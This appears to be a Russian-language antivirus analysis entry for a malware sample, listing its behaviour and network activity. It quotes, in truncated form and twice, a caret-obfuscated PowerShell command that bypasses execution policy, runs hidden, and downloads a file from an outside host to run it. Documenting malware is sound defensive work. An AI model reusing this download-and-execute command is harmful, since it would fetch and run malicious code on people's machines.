Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Pow^eR^S^hEll^.E^XE -^E^xEC^u^T^ioNPOli^Cy ^By^Pas^S -^NOP^ROFIL^E -wINdO^W^STyL^e^ HiDden (nEw^-OBJecT ^sY^st^E^M.Ne^T^.WeBc^li^e^n^t^).D^O^wN^lo^AdfI^le^('http://hometowerg...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Pow^eR^S^hEll^.E^XE -^E^xEC^u^T^ioNPOli^Cy ^By^Pas^S -^NOP^ROFIL^E -wINdO^W^STyL^e^ HiDden (nEw^-OBJecT ^sY^st^E^M.Ne^T^.WeBc^li^e^n^t^).D^O^wN^lo^AdfI^le^('http://hometowerg...' (со скрытым окном)
